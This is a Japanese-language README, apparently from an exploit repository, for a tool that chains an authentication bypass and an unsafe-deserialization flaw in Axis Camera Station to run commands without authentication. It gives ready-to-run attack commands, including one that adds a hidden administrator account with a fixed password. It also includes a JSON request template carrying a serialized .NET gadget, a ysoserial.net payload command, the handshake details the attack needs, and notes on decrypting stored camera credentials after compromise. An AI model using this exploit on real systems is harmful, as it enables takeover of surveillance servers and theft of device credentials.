
Axis Camera Station(ACS)における未認証RCE:CVE‑2025‑30026(認証バイパス)とCVE‑2025‑30023(安全でないデシリアライゼーション)を連鎖させる
このエクスプロイトは、CVE‑2025‑30026(認証バイパス)とCVE‑2025‑30023(安全でないデシリアライゼーション)を連鎖させ、Axis Camera Stationソフトウェア上で未認証RCEを実現します。ログイン機構をバイパスし、任意のコマンド実行を引き起こす悪意のあるシリアライズ済みペイロードを送り込むことで、攻撃者はターゲットマシンを完全に制御できます。
両方の脆弱性は、Axis Camera Station Pro 6.9より前のバージョン、およびAxis Camera Station 5.58より前のバージョンに影響します。
これは、プロトコルと関連する脆弱性について説明しているClarotyのブログ記事「Turning Camera Surveillance on its Axis」に基づいています。
python3 main.py --host <TARGET_IP> --key <CLIENT_PRIVATE_KEY.pem> [OPTIONS]
| フラグ | 説明 |
|---|---|
--host | 対象の IP/ホスト(必須)。 |
--port | 対象ポート(デフォルト 55752)。 |
--key | PEM 形式のクライアント RSA-2048 秘密鍵(必須)。 |
--json | 送信する Request を含むローカル JSON ファイル。 |
--version | バージョン情報を取得する VersionFacade.get_ProductVersion Request。 |
--adduser | パスワード ThisIsIt123 でユーザー ricardo を作成し、Administrators グループに追加します。 |
--wait | ハンドシェイク後にチャネルで待ち受ける秒数(デフォルト 5)。 |
--listen | Request 送信後に応答を待つ秒数(デフォルト 15)。 |
依存関係をインストールし、クライアント用の RSA 秘密鍵を PEM 形式で生成します:
pip install cryptography
openssl genrsa -out client_priv.pem 2048
製品バージョンを照会して、そのバージョンが脆弱かどうかを確認します:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --version

デシリアライゼーションを悪用して、パスワード ThisIsIt123 を持つ管理者ユーザー ricardo を作成します:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --adduser


JSONファイルからカスタムのRequestを送信して任意のコマンドを実行します:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --json my_request.json
Request ファイル形式Request は単一の "Request" キーを持つ JSON オブジェクトです。デシリアライズを悪用するための形式は次のとおりです:
{
"Request": {
"Id": "random123456",
"Service": "SessionFacade",
"Method": "LogOnAsync",
"Parameters": {
"uri": "http://192.168.1.197:55752/",
"clientInformationDto": {
"$type": "System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAA..."
},
"communicationType": 0,
"ct": "random123456"
}
}
}
clientInformationDto フィールドの値は、WindowsIdentity などのガジェットを用いて Ysoserial.net で取得できます。このガジェットはこの脆弱性を悪用するのにかなり安定しているようです(他のガジェットはサービスをクラッシュさせます):
ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping -n 3 10.0.0.4" -o raw
Windows マシンへのアクセスを取得すると、さまざまなデバイスに接続するための認証情報を含む .FDB データベースにアクセスできるようになります。これらは脆弱な AES 実装で暗号化されており、ホストのボリュームシリアル番号を使って即座に復号するか、GPU を使って数分でブルートフォース攻撃できます。
このリポジトリのスクリプトを使って悪用できます: CVE-2026-63286。
AXIS Camera Station は、HTTP 上にステートフルなバイナリプロトコルをラップしています。接続ごとに 1 つのリクエスト/レスポンスをやり取りするのではなく、2 つの長寿命チャネルを開き、接続が閉じるまでフレーム化されたメッセージをストリーミングします。
| レイヤー | 詳細 |
|---|---|
| トランスポート | ポート 55752 上の HTTP。GET /_/ が RX (受信) チャネルを開き、POST /_/<channelID> が TX (送信) チャネルであり、各メッセージは POST ボディに含まれます。 |
| RX フレーミング | HTTP の chunked ボディ。その内部では、制御フレームは [uint32 LE length][data] です。 |
| ハンドシェイク | 双方が公開鍵を交換し、その後、相手側の公開鍵でラップされたランダムな AES セッション鍵を交換します。 |
| 鍵フォーマット | クライアントは自身の X.509 証明書 (base64) を送信します。AES 鍵は base64(wrapped_key):base64(iv) として送信されます。 |
| RSA ラップ | PKCS#1 v1.5。 |
| チャネル | PKCS#7 パディング付きの AES-256-CBC。サーバー→クライアントのフレームはサーバーの鍵 + IV を使用します。 |
| アプリケーション | Axis.Remoting JSON。クライアントはまず ClientId を HELLO として送信し、その後 {"Request":{"Id","Service","Method","Parameters"}} を送信します。 |
RX GET /_/ <- channelID
RX (server pushes) <- server cert (X.509, base64)
RX (server pushes) <- server AES key + IV (wrapped)
TX POST /_/<channelID> -> client cert (X.509, base64)
TX POST /_/<channelID> -> client AES key + IV (wrapped)
TX POST /_/<channelID> -> HELLO (ClientId)
TX POST /_/<channelID> -> encrypted JSON Request
RX (server pushes) <- encrypted JSON Response
Windows 11 上で動作するバージョン 5.57.27610 および 5.57.33556 でテスト済みです。
不安定なガジェットや不適切なパラメータを使用すると、デシリアライズ攻撃によってサービスがクラッシュする可能性があるため、必ず制御された環境でテストしてください。
このスクリプトは教育および許可されたテスト目的でのみ提供されています... 自己責任で使用してください!